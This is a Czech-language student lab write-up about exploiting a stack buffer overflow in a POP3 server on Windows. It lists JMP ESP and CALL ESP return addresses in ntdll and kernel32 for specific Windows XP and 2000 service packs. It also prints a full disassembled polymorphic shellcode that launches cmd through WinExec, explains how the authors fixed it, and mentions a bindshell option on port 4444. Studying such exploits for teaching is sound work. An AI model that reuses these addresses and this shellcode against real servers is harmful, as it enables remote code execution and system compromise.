Zpět

  1. Windows:

    1. Nalezení vhodné instrukce skoku:

      Každý program spuštený na Windows má svuj virtuální adresní prostor a sám je v nem nahrán od adresy 0x00400000. To můžeme ověřit např. pomocí free debuggeru Ollydbg, zde vidíme i adresu vstupního bodu modulu pop3.exe (00405D86):
      Executable modules
      Base       Size       Entry      Name       File version      Path
      00400000   00016000   00405D86   pop3                         D:\!projects\!skola\api\pop3.exe
      71A80000   00008000   71A81226   WS2HELP    5.1.2600.0 (xpcl  C:\WINDOWS\System32\WS2HELP.dll
      71A90000   00015000   71A916C6   WS2_32     5.1.2600.0 (xpcl  C:\WINDOWS\System32\WS2_32.dll
      77C00000   00053000   77C0E94F   msvcrt     7.0.2600.1106 (x  C:\WINDOWS\system32\msvcrt.dll
      77DC0000   0009D000   77DC1D3D   ADVAPI32   5.1.2600.1106 (x  C:\WINDOWS\system32\ADVAPI32.dll
      77E60000   000E6000   77E7ADB3   kernel32   5.1.2600.1560 (x  C:\WINDOWS\system32\kernel32.dll
      77F50000   000A6000              ntdll      5.1.2600.1106 (x  C:\WINDOWS\System32\ntdll.dll
      78000000   00087000   78001E0D   RPCRT4     5.1.2600.1361 (x  C:\WINDOWS\system32\RPCRT4.dll
      
      Experimentálně jsme zjistili, že kód knihoven operačního systému se mapuje do adresního prostoru programu při každém spuštění na stejná místa, což nám dovoluje využít operační znaky nacházející se v takto mapovaných oblastech. Jediným problémem při této strategii jsou rozdílné verze Windows, které obsahují jiné buildy modulů a mapují je jinam do paměti - nezbývá než přizpůsobit se konkrétní cílové verzi OS nebo napsat aplikaci umožňující výběr z více možností (stačí uvažovat majoritní změny systému - verze ServicePacků (včetně lokalizace)). Nejstabilnějším zdrojem operačních znaků budou zřejmě moduly typu ntdll.dll a kernel32.dll, takže jsme se pokusili hledat požadované operační znaky (JMP ESP, CALL ESP) primárně v nich. Na základě výsledků těchto hledání v paměťovém prostoru aplikace, jsme do našeho testovacího program implementovali podporu následujících verze OS:
      Windows XP   SP1CZ (<ntdll>[0x77fb59cc]     = jmp  ESP)
      Windows XP   SP2CZ (<ntdll>[0x7c941eed]     = jmp  ESP)
      Windows 2000 SP3EN (<kernel32l>[0x77e822ea] = call ESP)
      Windows 2000 SP4CZ (<ntdll>[0x77f81be3]     = jmp  ESP)
      
      Výběr konkrétního cíle útoku se provádí interaktivně v běhu testovacího programu, který pracuje jako jednoduchý řádkový TCP terminál, a sice po zadání příkazu "exploit". Zdroj testovacího programu v jazyce C je zde.

    2. Shellcode:

      Shellcode pro Windows je principiálně komplikovanější nežli shellkód pro OS Linux. Je to způsobeno tím, že pod Windows voláme systémové služby prostřednictvím API funkcí exportovaných výše uvedenými moduly. Protože jejich adresy nejsou statické, měl by být univerzální shellcode schopen najít konkrétní z nich dynamicky procházením symbolů exportovaných použitým modulem. Takové shellcody v takřka hotovém stavu jsou k dispozici k testovacím účelům např. na www.metasploit.com. Zde jsme našli vhodný shellcode, který vypadá následovně:
         0:   31 c9                   xor    %ecx,%ecx
         2:   83 e9 de                sub    $0xffffffde,%ecx
         5:   d9 ee                   fldz
         7:   d9 74 24 f4             fnstenv 0xfffffff4(%esp)
         b:   5b                      pop    %ebx
         c:   81 73 13 ed 5a b7 69    xorl   $0x69b75aed,0x13(%ebx)
        13:   83 eb fc                sub    $0xfffffffc,%ebx
        16:   e2 f4                   loop   0xc
        18:   11 b2 f3 69 ed 5a       adc    %esi,0x5aed69f3(%edx)
        1e:   3c 2c                   cmp    $0x2c,%al
        20:   d1 d1                   rcl    %ecx
        22:   cb                      lret
        23:   6c                      insb   (%dx),%es:(%edi)
        24:   95                      xchg   %eax,%ebp
        25:   5b                      pop    %ebx
        26:   58                      pop    %eax
        27:   e2 a2                   loop   0xffffffcb
        29:   42                      inc    %edx
        2a:   3c 36                   cmp    $0x36,%al
        2c:   cd 5b                   int    $0x5b
        2e:   5c                      pop    %esp
        2f:   20 66 6e                and    %ah,0x6e(%esi)
        32:   3c 68                   cmp    $0x68,%al
        34:   03 6b 77                add    0x77(%ebx),%ebp
        37:   f0 41                   lock inc %ecx
        39:   de 77 1d                fidiv  0x1d(%edi)
        3c:   ea 9b 7d 64 ec 98 5c    ljmp   $0x5c98,$0xec647d9b
        43:   9d                      popf
        44:   d6                      (bad)
        45:   0e                      push   %cs
        46:   93                      xchg   %eax,%ebx
        47:   6d                      insl   (%dx),%es:(%edi)
        48:   98                      cwtl
        49:   bf 3c 36 c9 5b          mov    $0x5bc9363c,%edi
        4e:   5c                      pop    %esp
        4f:   0f 66 56 fc             pcmpgtd 0xfffffffc(%esi),%mm2
        53:   e2 b2                   loop   0x7
        55:   46                      inc    %esi
        56:   b6 82                   mov    $0x82,%dh
        58:   66 46                   inc    %si
        5a:   3c 68                   cmp    $0x68,%al
        5c:   06                      push   %es
        5d:   d3 eb                   shr    %cl,%ebx
        5f:   4d                      dec    %ebp
        60:   e9 99 86 a9 89          jmp    0x89a986fe
        65:   d1                      (bad)
        66:   f7 59 68                negl   0x68(%ecx)
        69:   9a cf 65 66 1a bb e2    lcall  $0xe2bb,$0x1a6665cf
        70:   9d                      popf
        71:   46                      inc    %esi
        72:   1a e2                   sbb    %dl,%ah
        74:   85 52 5c                test   %edx,0x5c(%edx)
        77:   60                      pusha
        78:   66                      data16
        79:   da 07                   fiaddl (%edi)
        7b:   69 ed 5a 3c 01 d1       imul   $0xd1013c5a,%ebp,%ebp
        81:   05 86 9f 8d 0c          add    $0xc8d9f86,%eax
        86:   3e                      ds
        87:   91                      xchg   %eax,%ecx
        88:   6e                      outsb  %ds:(%esi),(%dx)
        89:   9a cc 39 85 24 6f 8b    lcall  $0x8b6f,$0x248539cc
        90:   9e                      sahf
        91:   32 2f                   xor    (%edi),%ch
        93:   97                      xchg   %eax,%edi
        94:   67 54                   addr16 push %esp
        96:   e0 96                   loopne 0x2e
        98:   0a 39                   or     (%ecx),%bh
        9a:   da 0d ed 5a b7 69       fimull 0x69b75aed
      
      jeho parametry:
          použitá vstupní technika: WinExec (v parametru volání je název shellu (v našem případě cmd))
          použitá výstupní technika: ExitProcess (aplikuje se po návratu z shellu na infikovaný proces)
      Tento shellcode řeší problém s absencí nul uvnitř pomocí polymorfismu (xor na rel. adrese "c" převádí jeho zbylou část do spustitelné podoby - hezky vidět např. v Ollydbg). Ačkoliv shellcode vypadá velice dobře, jeho zásadní vadou je, že v naší implementaci není funkční. Je tomu tak proto, že instrukce fnstenv na rel. adrese "7", jejímž úkolem je získat adresu z prostřed shellcodu, která je následně použita jako cíl polymorfního cyklu, načte stav koprocesoru do paměti relativně k ESP a jelikož jsme v tomto bodě těsně za ESP, přepíše si kód zrovna pod čítačem instrukcí, což je definitivní konec snahy. Kód byl proto námi upraven - odsazen o určitý počet bytů (obsahujících heslo roota na Sunray) dál do paměti, tak aby fstenv neměl na ještě neprovedený kus shellcodl vliv a jeho výsledkem bylo pouze správné nastavení registru EBX. Toto se povedlo a tento shellcode odeslaný serveru ve formátu zjištěném v první části úlohy dosahuje kýženého efektu - získání shellu v hostitelském procesu. pozn.: Z různých důvodů byl do testovacího programu implementována navíc možnost odeslat na server v TOP požadavku místo shellcodu realizujícího lokální shell i alternativní kód realizující pokus o bindshell (interaktivní volba v přikazu exploit) na portu 4444.

    3. Důležité trasovací adresy procesu zjištěné v průběhu debugování:

      adresa volani recv() = 00401035
      adresa funkce bezprostredne pred skokem na modifikovanou navratovou adresu = 00403B65

    4. Závěr:

      Akce zneužití chyby Stack Overflow u zadaného POP3 serveru se zadařila

    5. Použité nástroje:

      ollydbg    32-bit assembler level analysing debugger for Microsoft Windows
      gcc        GNU C compiler
      make       GNU make utility to maintain groups of programs
      objdump    display information from object files
      hiew       Hacker's Viewer
      


Zpět